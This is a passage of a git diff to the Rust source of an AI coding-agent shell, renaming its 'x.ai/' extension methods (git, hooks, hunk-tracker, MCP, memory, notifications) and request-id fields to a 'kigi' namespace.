@@ -331,18 +331,18 @@ pub async fn handle(
         }
     }
     match args.method.as_ref() {
-        "x.ai/git/git_repo_root" => {
+        "kigi/git/git_repo_root" => {
             let req: git::GitRepoRequest = parse_params(args)?;
             let response = git::is_git_repo(&req).await?;
             super::to_raw_response(&response)
         }
-        "x.ai/git/serialize_changes" => {
+        "kigi/git/serialize_changes" => {
             let _ = (args, ops);
             to_ext_response::<()>(Err(anyhow::anyhow!(
                 "git serialize_changes is unavailable in this build"
             )))
         }
-        "x.ai/git/status" => {
+        "kigi/git/status" => {
             let req = parse_params::<GitStatusRequest>(args)?;
             let include_untracked = req.include_untracked.unwrap_or(true);
             let include_stats = req.include_stats.unwrap_or(false);
@@ -410,7 +410,7 @@ pub async fn handle(
             }
             to_ext_response(Ok(result))
         }
-        "x.ai/git/files" => {
+        "kigi/git/files" => {
             let req = parse_params::<GitFilesRequest>(args)?;
             let git_root = resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref())
                 .await
@@ -426,7 +426,7 @@ pub async fn handle(
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
             to_ext_response(Ok(result))
         }
-        "x.ai/git/diffs" => {
+        "kigi/git/diffs" => {
             let req = parse_params::<GitDiffsRequest>(args)?;
             let max_bytes = req.max_patch_bytes;
             let max_lines = req.max_patch_lines;
@@ -455,7 +455,7 @@ pub async fn handle(
                 to_ext_response(Ok(data))
             }
         }
-        "x.ai/git/stage" => {
+        "kigi/git/stage" => {
             let req = parse_params::<GitStageRequest>(args)?;
             let git_root = resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref())
                 .await
@@ -473,7 +473,7 @@ pub async fn handle(
             }
             to_ext_response(Ok(result))
         }
-        "x.ai/git/stage/content" => {
+        "kigi/git/stage/content" => {
             let req = parse_params::<GitStageContentRequest>(args)?;
             let git_root = resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref())
                 .await
@@ -491,7 +491,7 @@ pub async fn handle(
             }
             to_ext_response(Ok(Empty {}))
         }
-        "x.ai/git/unstage" => {
+        "kigi/git/unstage" => {
             let req = parse_params::<GitUnstageRequest>(args)?;
             let git_root = resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref())
                 .await
@@ -508,7 +508,7 @@ pub async fn handle(
             }
             to_ext_response(Ok(Empty {}))
         }
-        "x.ai/git/discard" => {
+        "kigi/git/discard" => {
             let req = parse_params::<GitDiscardRequest>(args)?;
             let git_root = resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref())
                 .await
@@ -527,7 +527,7 @@ pub async fn handle(
             }
             to_ext_response(Ok(Empty {}))
         }
-        "x.ai/git/commit" => {
+        "kigi/git/commit" => {
             let req = parse_params::<GitCommitRequest>(args)?;
             let git_root = resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref())
                 .await
@@ -549,7 +549,7 @@ pub async fn handle(
             }
             to_ext_response_partial(Ok(commit_result.data), commit_result.warning)
         }
-        "x.ai/git/checkout" => {
+        "kigi/git/checkout" => {
             let req = parse_params::<GitCheckoutRequest>(args)?;
             let git_root = resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref())
                 .await
@@ -567,7 +567,7 @@ pub async fn handle(
             }
             to_ext_response(Ok(Empty {}))
         }
-        "x.ai/git/stash" => {
+        "kigi/git/stash" => {
             let req = parse_params::<GitStashRequest>(args)?;
             let git_root = resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref())
                 .await
@@ -584,7 +584,7 @@ pub async fn handle(
             }
             to_ext_response(Ok(Empty {}))
         }
-        "x.ai/git/info" => {
+        "kigi/git/info" => {
             let req = parse_params::<GitInfoRequest>(args)?;
             let git_root = resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref())
                 .await
@@ -595,7 +595,7 @@ pub async fn handle(
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
             to_ext_response(Ok(result))
         }
-        "x.ai/git/branches" => {
+        "kigi/git/branches" => {
             let req = parse_params::<GitBranchesRequest>(args)?;
             let git_root = resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref())
                 .await
@@ -606,7 +606,7 @@ pub async fn handle(
                 .map_err(|e| acp::Error::internal_error().data(e.to_string()))?;
             to_ext_response(Ok(result))
         }
-        "x.ai/git/current_commit" => {
+        "kigi/git/current_commit" => {
             let req = parse_params::<GitCurrentCommitRequest>(args)?;
             let result = match resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref())
                 .await
@@ -620,7 +620,7 @@ pub async fn handle(
             };
             to_ext_response(Ok(result))
         }
-        "x.ai/git/checkout_session_head" => {
+        "kigi/git/checkout_session_head" => {
             let req = parse_params::<CheckoutSessionHeadRequest>(args)?;
             let git_root =
                 resolve_git_root(agent, ops, req.git_root, Some(&req.session_id)).await?;
@@ -664,7 +664,7 @@ pub async fn handle(
             invalidate_status_cache(&git_root);
             super::to_raw_response(&result)
         }
-        "x.ai/git/checkout_commit" => {
+        "kigi/git/checkout_commit" => {
             let req = parse_params::<GitCheckoutCommitRequest>(args)?;
             let git_root =
                 resolve_git_root(agent, ops, req.git_root, req.session_id.as_ref()).await?;
diff --git a/crates/codegen/kigi-shell/src/extensions/hooks.rs b/crates/codegen/kigi-shell/src/extensions/hooks.rs
index 89196cb..63d7264 100644
--- a/crates/codegen/kigi-shell/src/extensions/hooks.rs
+++ b/crates/codegen/kigi-shell/src/extensions/hooks.rs
@@ -1,4 +1,4 @@
-//! `x.ai/hooks/*` extension handlers.
+//! `kigi/hooks/*` extension handlers.
 //!
 //! The file-hook list/action endpoints for the pager's hooks modal, plus the
 //! client-registered hook wire types and `parse_client_hooks`.
@@ -76,7 +76,7 @@ pub fn hook_spec_to_info(spec: &kigi_hooks::config::HookSpec) -> HookInfo {
     }
 }
 
-// Wire types for client-registered hooks (`x.ai/hooks/run`); the gate that uses
+// Wire types for client-registered hooks (`kigi/hooks/run`); the gate that uses
 // them lives in `session::acp_session::hooks`.
 
 /// A matcher group from the client's registration: `{ matcher, hookCallbackIds, timeout }`.
@@ -97,7 +97,7 @@ pub type ClientHooks = HashMap<HookEventName, Vec<ClientHookGroup>>;
 
 /// One hook dispatched to a client callback: the shared [`HookEventEnvelope`]
 /// (flattened, camelCase) plus the `hookCallbackId` it targets. The same shape is sent
-/// for both the `x.ai/hooks/run` request (gate) and the `x.ai/hooks/event` notification
+/// for both the `kigi/hooks/run` request (gate) and the `kigi/hooks/event` notification
 /// (observe-only), so the client decodes one payload for every hook.
 #[derive(Debug, Clone, serde::Serialize)]
 #[serde(rename_all = "camelCase")]
@@ -118,7 +118,7 @@ pub(crate) enum ClientHookDecision {
     Other,
 }
 
-/// Response payload for `x.ai/hooks/run` (client to agent). `Default` (used on
+/// Response payload for `kigi/hooks/run` (client to agent). `Default` (used on
 /// timeout, transport error, or a malformed reply) proceeds.
 #[derive(Debug, Clone, Default, serde::Deserialize)]
 #[serde(rename_all = "camelCase")]
@@ -130,7 +130,7 @@ pub(crate) struct ClientHookResponse {
     pub system_message: Option<String>,
 }
 
-/// Parse client hooks from `session/new` `_meta["x.ai/hooks"]`, shaped
+/// Parse client hooks from `session/new` `_meta["kigi/hooks"]`, shaped
 /// `{ "<Event>": [{ matcher, hookCallbackIds }] }` (PascalCase or snake_case
 /// events). Each `matcher` is compiled with the agent's [`HookMatcher`] so client
 /// and file hooks match identically. Unknown events, malformed groups, invalid
@@ -138,7 +138,7 @@ pub(crate) struct ClientHookResponse {
 pub(crate) fn parse_client_hooks(meta: Option<&acp::Meta>) -> ClientHooks {
     let mut hooks = ClientHooks::new();
     let Some(map) = meta
-        .and_then(|m| m.get("x.ai/hooks"))
+        .and_then(|m| m.get("kigi/hooks"))
         .and_then(|h| h.as_object())
     else {
         return hooks;
@@ -146,11 +146,11 @@ pub(crate) fn parse_client_hooks(meta: Option<&acp::Meta>) -> ClientHooks {
     for (event_name, value) in map {
         let de = serde::de::value::StrDeserializer::<serde::de::value::Error>::new(event_name);
         let Ok(event) = HookEventName::deserialize(de) else {
-            tracing::warn!(event = %event_name, "ignoring unknown x.ai/hooks event");
+            tracing::warn!(event = %event_name, "ignoring unknown kigi/hooks event");
             continue;
         };
         let Some(array) = value.as_array() else {
-            tracing::warn!(event = %event_name, "x.ai/hooks event value is not an array; skipping");
+            tracing::warn!(event = %event_name, "kigi/hooks event value is not an array; skipping");
             continue;
         };
         let groups: Vec<ClientHookGroup> = array
@@ -167,10 +167,10 @@ pub(crate) fn parse_client_hooks(meta: Option<&acp::Meta>) -> ClientHooks {
 }
 
 /// Hooks to apply on a `load_session` reconnect: `Some` (possibly empty, an explicit
-/// clear) when the request meta carries `x.ai/hooks`, else `None` so a reconnect that
+/// clear) when the request meta carries `kigi/hooks`, else `None` so a reconnect that
 /// omits the key leaves the live registrations from `session/new` untouched.
 pub(crate) fn reconnect_client_hooks(meta: Option<&acp::Meta>) -> Option<ClientHooks> {
-    meta.and_then(|m| m.get("x.ai/hooks"))
+    meta.and_then(|m| m.get("kigi/hooks"))
         .map(|_| parse_client_hooks(meta))
 }
 
@@ -191,10 +191,10 @@ fn parse_hook_group(event: HookEventName, value: &serde_json::Value) -> Option<C
     }
 
     let group = WireGroup::deserialize(value)
-        .inspect_err(|err| tracing::warn!(%event, %err, "ignoring malformed x.ai/hooks group"))
+        .inspect_err(|err| tracing::warn!(%event, %err, "ignoring malformed kigi/hooks group"))
         .ok()?;
     if group.hook_callback_ids.is_empty() {
-        tracing::warn!(%event, "ignoring x.ai/hooks group with no hookCallbackIds");
+        tracing::warn!(%event, "ignoring kigi/hooks group with no hookCallbackIds");
         return None;
     }
     // Drop a non-finite/non-positive timeout (fall back to the default gate timeout) and
@@ -211,7 +211,7 @@ fn parse_hook_group(event: HookEventName, value: &serde_json::Value) -> Option<C
         Some(pattern) => match HookMatcher::new(pattern) {
             Ok(matcher) => Some(matcher),
             Err(err) => {
-                tracing::warn!(%event, pattern, %err, "ignoring x.ai/hooks group with invalid matcher");
+                tracing::warn!(%event, pattern, %err, "ignoring kigi/hooks group with invalid matcher");
                 return None;
             }
         },
@@ -225,7 +225,7 @@ fn parse_hook_group(event: HookEventName, value: &serde_json::Value) -> Option<C
 
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        "x.ai/hooks/list" => {
+        "kigi/hooks/list" => {
             let req: ListRequest = super::parse_params(args)?;
             let sid = acp::SessionId::new(req.session_id);
 
@@ -235,7 +235,7 @@ pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
                 .ok_or_else(|| anyhow::anyhow!("session not found"));
             super::to_ext_response(result)
         }
-        "x.ai/hooks/action" => {
+        "kigi/hooks/action" => {
             let req: kigi_hooks_plugins_types::HooksActionRequest = super::parse_params(args)?;
             let sid = acp::SessionId::new(req.session_id);
 
@@ -317,7 +317,7 @@ mod tests {
     #[test]
     fn parse_client_hooks_parses_valid_groups() {
         let meta = serde_json::json!({
-            "x.ai/hooks": {
+            "kigi/hooks": {
                 "PreToolUse": [
                     { "matcher": "run_terminal_command", "hookCallbackIds": ["cb_0"] },
                     { "matcher": null, "hookCallbackIds": ["cb_1"] },
@@ -349,7 +349,7 @@ mod tests {
 
         let meta = serde_json::json!({
             "NotARealEvent": [{ "hookCallbackIds": ["x"] }],
-            "x.ai/hooks": {
+            "kigi/hooks": {
                 "PreToolUse": [
                     { "matcher": "[invalid", "hookCallbackIds": ["bad_regex"] },
                     { "matcher": "run_terminal_command", "hookCallbackIds": [] },
@@ -367,7 +367,7 @@ mod tests {
     #[test]
     fn parse_client_hooks_reads_group_timeout() {
         let meta = serde_json::json!({
-            "x.ai/hooks": {
+            "kigi/hooks": {
                 "PreToolUse": [
                     { "hookCallbackIds": ["a"], "timeout": 5.0 },
                     { "hookCallbackIds": ["b"], "timeout": 0 },
@@ -388,14 +388,14 @@ mod tests {
     #[test]
     fn parse_client_hooks_canonicalizes_subagent_alias() {
         let meta = serde_json::json!({
-            "x.ai/hooks": { "SubagentEnd": [{ "hookCallbackIds": ["cb"] }] }
+            "kigi/hooks": { "SubagentEnd": [{ "hookCallbackIds": ["cb"] }] }
         });
         let hooks = parse_client_hooks(meta.as_object());
         assert!(hooks.contains_key(&HookEventName::SubagentStop));
         assert!(!hooks.contains_key(&HookEventName::SubagentEnd));
     }
 
-    /// Reconnect refresh applies hooks only when the load meta carries `x.ai/hooks`:
+    /// Reconnect refresh applies hooks only when the load meta carries `kigi/hooks`:
     /// an absent key returns `None` (don't wipe `session/new` registrations); a present
     /// key returns `Some` (an empty object is an explicit clear).
     #[test]
@@ -403,12 +403,12 @@ mod tests {
         assert!(reconnect_client_hooks(None).is_none());
         assert!(reconnect_client_hooks(serde_json::json!({ "other": true }).as_object()).is_none());
 
-        let cleared = reconnect_client_hooks(serde_json::json!({ "x.ai/hooks": {} }).as_object());
+        let cleared = reconnect_client_hooks(serde_json::json!({ "kigi/hooks": {} }).as_object());
         assert!(cleared.is_some_and(|h| h.is_empty()));
 
         let set = reconnect_client_hooks(
             serde_json::json!({
-                "x.ai/hooks": { "PreToolUse": [{ "hookCallbackIds": ["cb"] }] }
+                "kigi/hooks": { "PreToolUse": [{ "hookCallbackIds": ["cb"] }] }
             })
             .as_object(),
         );
diff --git a/crates/codegen/kigi-shell/src/extensions/hunk_tracker.rs b/crates/codegen/kigi-shell/src/extensions/hunk_tracker.rs
index 065c9a9..fb8b200 100644
--- a/crates/codegen/kigi-shell/src/extensions/hunk_tracker.rs
+++ b/crates/codegen/kigi-shell/src/extensions/hunk_tracker.rs
@@ -311,7 +311,7 @@ pub async fn handle(
         // ───────────────────────────────────────────────────────────────
         // Queries
         // ───────────────────────────────────────────────────────────────
-        "x.ai/hunk-tracker/get-hunks" => {
+        "kigi/hunk-tracker/get-hunks" => {
             let req = parse_params::<GetHunksRequest>(args)?;
             let ctx = get_hunk_tracker(agent, req.session_id.as_ref())?;
 
@@ -355,7 +355,7 @@ pub async fn handle(
             }))
         }
 
-        "x.ai/hunk-tracker/get-files" => {
+        "kigi/hunk-tracker/get-files" => {
             let req = parse_params::<GetFilesRequest>(args)?;
             let ctx = get_hunk_tracker(agent, req.session_id.as_ref())?;
 
@@ -371,7 +371,7 @@ pub async fn handle(
             to_ext_response(Ok(GetFilesResponse { files }))
         }
 
-        "x.ai/hunk-tracker/get-all-file-contents" => {
+        "kigi/hunk-tracker/get-all-file-contents" => {
             let req = parse_params::<GetFilesRequest>(args)?;
 
             let sid = req.session_id.as_ref().map(|s| s.0.as_ref());
@@ -398,7 +398,7 @@ pub async fn handle(
             to_ext_response(Ok(GetAllFileContentsResponse { files }))
         }
 
-        "x.ai/hunk-tracker/get-summary" => {
+        "kigi/hunk-tracker/get-summary" => {
             let req = parse_params::<GetSummaryRequest>(args)?;
 
             let sid = req.session_id.as_ref().map(|s| s.0.as_ref());
@@ -412,7 +412,7 @@ pub async fn handle(
         // ───────────────────────────────────────────────────────────────
         // Single Hunk Action
         // ───────────────────────────────────────────────────────────────
-        "x.ai/hunk-tracker/hunk-action" => {
+        "kigi/hunk-tracker/hunk-action" => {
             let req = parse_params::<HunkActionRequest>(args)?;
 
             let action_kind = match req.action.as_str() {
@@ -448,7 +448,7 @@ pub async fn handle(
         // ───────────────────────────────────────────────────────────────
         // Bulk Actions
         // ───────────────────────────────────────────────────────────────
-        "x.ai/hunk-tracker/file-action" => {
+        "kigi/hunk-tracker/file-action" => {
             let req = parse_params::<FileActionRequest>(args)?;
 
             let action_kind = match req.action.as_str() {
@@ -479,7 +479,7 @@ pub async fn handle(
             }
         }
 
-        "x.ai/hunk-tracker/turn-action" => {
+        "kigi/hunk-tracker/turn-action" => {
             let req = parse_params::<TurnActionRequest>(args)?;
 
             let action_kind = match req.action.as_str() {
@@ -510,7 +510,7 @@ pub async fn handle(
             }
         }
 
-        "x.ai/hunk-tracker/all-action" => {
+        "kigi/hunk-tracker/all-action" => {
             let req = parse_params::<AllActionRequest>(args)?;
 
             let action_kind = match req.action.as_str() {
diff --git a/crates/codegen/kigi-shell/src/extensions/interject.rs b/crates/codegen/kigi-shell/src/extensions/interject.rs
index 8aee69b..b4d2b80 100644
--- a/crates/codegen/kigi-shell/src/extensions/interject.rs
+++ b/crates/codegen/kigi-shell/src/extensions/interject.rs
@@ -1,4 +1,4 @@
-//! `x.ai/interject` extension handler.
+//! `kigi/interject` extension handler.
 //!
 //! Queues a mid-turn interjection into the active session's pending
 //! interjection buffer.  The session actor drains it at the next safe
@@ -37,7 +37,7 @@ fn split_content(content: Vec<acp::ContentBlock>) -> (Option<String>, Vec<acp::I
     (text_override, crate::session::image_blocks(content))
 }
 
-/// Handle `x.ai/interject` — queue a mid-turn user interjection.
+/// Handle `kigi/interject` — queue a mid-turn user interjection.
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     let req: InterjectRequest = parse_params(args)?;
     let sid: acp::SessionId = req.session_id.clone().into();
diff --git a/crates/codegen/kigi-shell/src/extensions/jj.rs b/crates/codegen/kigi-shell/src/extensions/jj.rs
index e3f88ab..e6d670d 100644
--- a/crates/codegen/kigi-shell/src/extensions/jj.rs
+++ b/crates/codegen/kigi-shell/src/extensions/jj.rs
@@ -6,7 +6,7 @@ use super::{Empty, ExtResult, to_ext_response, to_ext_response_partial};
 use kigi_workspace::session::git::{CommitData, StageData};
 use kigi_workspace::session::jj;
 
-/// Handle a `x.ai/git/*` method for a jj-colocated repo.
+/// Handle a `kigi/git/*` method for a jj-colocated repo.
 ///
 /// Returns `Some(result)` if handled, `None` to fall through to git.
 pub async fn try_handle(
@@ -15,18 +15,18 @@ pub async fn try_handle(
     raw_params: &serde_json::value::RawValue,
 ) -> Option<ExtResult> {
     match method {
-        "x.ai/git/status" => Some(to_ext_response(jj::status(git_root).await)),
-        "x.ai/git/info" => Some(to_ext_response(jj::info(git_root).await)),
+        "kigi/git/status" => Some(to_ext_response(jj::status(git_root).await)),
+        "kigi/git/info" => Some(to_ext_response(jj::info(git_root).await)),
         // git HEAD points at `@-` in a colocated repo; route to jj so we report
         // the working-copy commit (`@`), consistent with `status`/`info`.
-        "x.ai/git/current_commit" => Some(to_ext_response(jj::current_commit(git_root).await)),
-        "x.ai/git/branches" => Some(to_ext_response(jj::list_bookmarks(git_root).await)),
+        "kigi/git/current_commit" => Some(to_ext_response(jj::current_commit(git_root).await)),
+        "kigi/git/branches" => Some(to_ext_response(jj::list_bookmarks(git_root).await)),
 
         // jj has no staging area — stage/unstage are no-ops
-        "x.ai/git/stage" => Some(to_ext_response(Ok(StageData { paths: Vec::new() }))),
-        "x.ai/git/stage/content" | "x.ai/git/unstage" => Some(to_ext_response(Ok(Empty {}))),
+        "kigi/git/stage" => Some(to_ext_response(Ok(StageData { paths: Vec::new() }))),
+        "kigi/git/stage/content" | "kigi/git/unstage" => Some(to_ext_response(Ok(Empty {}))),
 
-        "x.ai/git/discard" => {
+        "kigi/git/discard" => {
             #[derive(serde::Deserialize)]
             #[serde(rename_all = "camelCase")]
             struct Req {
@@ -39,7 +39,7 @@ pub async fn try_handle(
             ))
         }
 
-        "x.ai/git/commit" => {
+        "kigi/git/commit" => {
             #[derive(serde::Deserialize)]
             struct Req {
                 message: String,
@@ -53,9 +53,9 @@ pub async fn try_handle(
         }
 
         // Operations that don't apply to jj
-        "x.ai/git/checkout" => Some(Err(acp::Error::invalid_params()
+        "kigi/git/checkout" => Some(Err(acp::Error::invalid_params()
             .data("checkout is not supported in jj repos; use `jj new` or `jj edit`"))),
-        "x.ai/git/stash" => Some(Err(acp::Error::invalid_params()
+        "kigi/git/stash" => Some(Err(acp::Error::invalid_params()
             .data("stash is not supported in jj repos; changes are always committed"))),
 
         // Everything else (diffs, files, serialize_changes) falls through to git
diff --git a/crates/codegen/kigi-shell/src/extensions/mcp.rs b/crates/codegen/kigi-shell/src/extensions/mcp.rs
index 97a7fd8..d01e182 100644
--- a/crates/codegen/kigi-shell/src/extensions/mcp.rs
+++ b/crates/codegen/kigi-shell/src/extensions/mcp.rs
@@ -1,9 +1,9 @@
 //! MCP extension methods and business logic.
 //!
-//! - `x.ai/mcp/list` — list available MCP servers (agent-scoped or session-annotated)
-//! - `x.ai/mcp/call` — invoke an MCP tool directly, outside the LLM loop
-//! - `x.ai/mcp/servers_updated` — notification pushed when the server list changes
-//! - `x.ai/mcp/server_status` — per-server delta pushed by the
+//! - `kigi/mcp/list` — list available MCP servers (agent-scoped or session-annotated)
+//! - `kigi/mcp/call` — invoke an MCP tool directly, outside the LLM loop
+//! - `kigi/mcp/servers_updated` — notification pushed when the server list changes
+//! - `kigi/mcp/server_status` — per-server delta pushed by the
 //!   `StatusDispatcher` (transport-closed pollers, handshake failures,
 //!   config diffs, server-pushed list-changed notifications). See
 //!   [`crate::session::mcp_dispatcher`] for the coalescing /
@@ -24,7 +24,7 @@ use kigi_mcp::wire;
 
 use super::{ExtResult, parse_params, to_ext_response};
 
-/// Agent-only `x.ai/mcp/*` ACP method/notification names.
+/// Agent-only `kigi/mcp/*` ACP method/notification names.
 ///
 /// Unlike [`wire::MCP_CALL`] (the cross-SDK contract, which stays in
 /// `kigi_mcp::wire`), these methods are private to the agent↔client channel and
@@ -32,20 +32,20 @@ use super::{ExtResult, parse_params, to_ext_response};
 /// same string literal across dispatch and notification send sites.
 pub mod mcp_methods {
     /// Shared prefix that routes every MCP ext method to this module's dispatcher.
-    pub const PREFIX: &str = "x.ai/mcp/";
+    pub const PREFIX: &str = "kigi/mcp/";
 
-    pub const LIST: &str = "x.ai/mcp/list";
-    pub const READ_RESOURCE: &str = "x.ai/mcp/read_resource";
-    pub const AUTH_STATUS: &str = "x.ai/mcp/auth_status";
-    pub const AUTH_TRIGGER: &str = "x.ai/mcp/auth_trigger";
-    pub const TOGGLE: &str = "x.ai/mcp/toggle";
-    pub const TOGGLE_TOOL: &str = "x.ai/mcp/toggle_tool";
-    pub const UPSERT: &str = "x.ai/mcp/upsert";
-    pub const DELETE: &str = "x.ai/mcp/delete";
+    pub const LIST: &str = "kigi/mcp/list";
+    pub const READ_RESOURCE: &str = "kigi/mcp/read_resource";
+    pub const AUTH_STATUS: &str = "kigi/mcp/auth_status";
+    pub const AUTH_TRIGGER: &str = "kigi/mcp/auth_trigger";
+    pub const TOGGLE: &str = "kigi/mcp/toggle";
+    pub const TOGGLE_TOOL: &str = "kigi/mcp/toggle_tool";
+    pub const UPSERT: &str = "kigi/mcp/upsert";
+    pub const DELETE: &str = "kigi/mcp/delete";
 
-    pub const SERVERS_UPDATED: &str = "x.ai/mcp/servers_updated";
-    pub const TOOLS_CHANGED: &str = "x.ai/mcp/tools_changed";
-    pub const INIT_PROGRESS: &str = "x.ai/mcp/init_progress";
+    pub const SERVERS_UPDATED: &str = "kigi/mcp/servers_updated";
+    pub const TOOLS_CHANGED: &str = "kigi/mcp/tools_changed";
+    pub const INIT_PROGRESS: &str = "kigi/mcp/init_progress";
 }
 use crate::agent::MvpAgent;
 use crate::session::mcp_servers::{MCP_TOOL_NAME_DELIMITER, McpClient, McpServerName, McpState};
@@ -247,9 +247,9 @@ pub struct McpToolsChanged {
     pub tools: Vec<McpToolEntry>,
 }
 
-// Re-export the `x.ai/mcp/server_status` schema +
+// Re-export the `kigi/mcp/server_status` schema +
 // method constant from the dispatcher module so external callers
-// have a single import point alongside the other `x.ai/mcp/*`
+// have a single import point alongside the other `kigi/mcp/*`
 // types.
 //
 // The canonical definitions still live in
@@ -308,13 +308,13 @@ pub async fn notify_servers_updated(
     if let Ok(params) = serde_json::value::to_raw_value(&payload) {
         let notification = acp::ExtNotification::new(mcp_methods::SERVERS_UPDATED, params.into());
         let _ = gateway.ext_notification(notification).await;
-        tracing::info!("Sent x.ai/mcp/servers_updated notification to client");
+        tracing::info!("Sent kigi/mcp/servers_updated notification to client");
     }
 }
 
 // ── Dispatch ────────────────────────────────────────────────────────
 
-/// Inbound `x.ai/mcp/*` methods this agent services, resolved from the wire string.
+/// Inbound `kigi/mcp/*` methods this agent services, resolved from the wire string.
 ///
 /// Single source of truth for forward-method routing: [`handle`] maps each variant to
 /// its handler, and an unknown method yields `None` → `method_not_found`. The reverse
@@ -1403,7 +1403,7 @@ async fn handle_delete(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
 mod tests {
     use super::*;
 
-    /// The emit-only reverse method (`x.ai/mcp/sdk_call`) shares the `x.ai/mcp/`
+    /// The emit-only reverse method (`kigi/mcp/sdk_call`) shares the `kigi/mcp/`
     /// prefix, so `mvp_agent`'s dispatcher routes an inbound copy of it to this
     /// module's `handle`. It must NOT collide with any forward route — i.e. it has no
     /// `McpRoute`, so `handle` returns `method_not_found` instead of misrouting a stray
@@ -1417,7 +1417,7 @@ mod tests {
         assert_eq!(
             route_mcp_method(wire::MCP_SDK_CALL),
             None,
-            "inbound x.ai/mcp/sdk_call must not resolve to a forward handler"
+            "inbound kigi/mcp/sdk_call must not resolve to a forward handler"
         );
         // Sanity: the forward sibling on the same prefix DOES route.
         assert_eq!(route_mcp_method(wire::MCP_CALL), Some(McpRoute::Call));
diff --git a/crates/codegen/kigi-shell/src/extensions/memory.rs b/crates/codegen/kigi-shell/src/extensions/memory.rs
index 01cc5b3..81abe64 100644
--- a/crates/codegen/kigi-shell/src/extensions/memory.rs
+++ b/crates/codegen/kigi-shell/src/extensions/memory.rs
@@ -1,4 +1,4 @@
-//! `x.ai/memory/flush`, `x.ai/memory/rewrite`, and `x.ai/compact_conversation`
+//! `kigi/memory/flush`, `kigi/memory/rewrite`, and `kigi/compact_conversation`
 //! extension handlers.
 //!
 //! - `compact_conversation`: trigger an on-demand compaction for a session.
@@ -17,9 +17,9 @@ use crate::session::{CompactConversationRequest, CompactConversationResponse, Se
 #[tracing::instrument(skip_all, fields(method = %args.method))]
 pub async fn handle(agent: &MvpAgent, args: &acp::ExtRequest) -> ExtResult {
     match args.method.as_ref() {
-        m if m.starts_with("x.ai/compact_conversation") => handle_compact(agent, args).await,
-        "x.ai/memory/flush" => handle_flush(agent, args).await,
-        "x.ai/memory/rewrite" => handle_rewrite(agent, args).await,
+        m if m.starts_with("kigi/compact_conversation") => handle_compact(agent, args).await,
+        "kigi/memory/flush" => handle_flush(agent, args).await,
+        "kigi/memory/rewrite" => handle_rewrite(agent, args).await,
         _ => Err(acp::Error::method_not_found()),
     }
 }
diff --git a/crates/codegen/kigi-shell/src/extensions/notification.rs b/crates/codegen/kigi-shell/src/extensions/notification.rs
index 355dcf0..2351547 100644
--- a/crates/codegen/kigi-shell/src/extensions/notification.rs
+++ b/crates/codegen/kigi-shell/src/extensions/notification.rs
@@ -497,7 +497,7 @@ pub enum SessionUpdate {
     },
     /// A short "where was I" recap of the session so far.
     ///
-    /// Emitted by the `x.ai/recap` ext method: on demand via the `/recap`
+    /// Emitted by the `kigi/recap` ext method: on demand via the `/recap`
     /// slash command (`auto = false`), or automatically when the user
     /// returns to the terminal after being away (`auto = true`). The pager
     /// renders it as an informational scrollback line; it is never added to
@@ -881,8 +881,8 @@ pub enum SessionUpdate {
     /// pending ⏳ for this `tool_call_id`.
     InteractionResolved { tool_call_id: String },
     /// The durable, replayable signal that a turn reached its terminal
-    /// outcome. Rides the persisted `_x.ai/session/update` rail (unlike the
-    /// fire-and-forget `x.ai/session/prompt_complete` notification), so a
+    /// outcome. Rides the persisted `_kigi/session/update` rail (unlike the
+    /// fire-and-forget `kigi/session/prompt_complete` notification), so a
     /// viewer that re-attaches mid-turn can finalize the turn from replay
     /// instead of staying stuck on "Waiting…".
     TurnCompleted {
@@ -1132,7 +1132,7 @@ pub struct CompactionRequestFile {
     /// Schema version for forward compatibility.
     pub schema_version: u32,
     /// Unique artifact identifier (filename stem).
-    /// Note: this is a per-artifact ID, not the model API's `x_grok_req_id`
+    /// Note: this is a per-artifact ID, not the model API's `x_kigi_req_id`
     /// (which is generated per-attempt inside the sampling layer).
     pub request_id: String,
     /// ISO 8601 timestamp of when the compaction call started.
@@ -1140,7 +1140,7 @@ pub struct CompactionRequestFile {
     /// What kicked off the compaction: `"manual"` (user ran `/compact`) or `"auto"`.
     pub trigger: String,
     /// Which prompt template was used: `"short"` (concise self-summarization)
-    /// or `"detailed"` (10-section structured prompt for grok-build and similar agents).
+    /// or `"detailed"` (10-section structured prompt for kigi and similar agents).
     pub prompt_variant: String,
     /// The model id that ran the summarization.
     pub model: String,
@@ -1189,7 +1189,7 @@ pub struct RecapRequestFile {
     /// Schema version for forward compatibility.
     pub schema_version: u32,
     /// Unique artifact identifier (filename stem). Distinct from the model
-    /// API's `x_grok_req_id` (also recorded below for proxy correlation).
+    /// API's `x_kigi_req_id` (also recorded below for proxy correlation).
     pub request_id: String,
     /// ISO 8601 timestamp of when the recap model call started.
     pub created_at: String,
@@ -1199,9 +1199,9 @@ pub struct RecapRequestFile {
     /// The model id used for the recap side-call.
     pub model: String,
     /// Sampling request id sent to the proxy (`xai-recap-{uuid}`).
-    pub x_grok_req_id: String,
+    pub x_kigi_req_id: String,
     /// Sampling conversation id (`recap-{uuid}`).
-    pub x_grok_conv_id: String,
+    pub x_kigi_conv_id: String,
     /// Whether reasoning/thinking blocks were stripped from the prefix
     /// (Anthropic Messages backend only; other backends keep reasoning
     /// verbatim for prompt-cache warmth).
@@ -1238,8 +1238,8 @@ mod tests {
             created_at: "2026-06-30T00:00:00Z".into(),
             trigger: "auto".into(),
             model: "v9-zingster".into(),
-            x_grok_req_id: "xai-recap-abc".into(),
-            x_grok_conv_id: "recap-abc".into(),
+            x_kigi_req_id: "xai-recap-abc".into(),
+            x_kigi_conv_id: "recap-abc".into(),
             strip_reasoning: false,
             reminder_tag: "system-reminder".into(),
             chat_history: vec![],
@@ -1251,7 +1251,7 @@ mod tests {
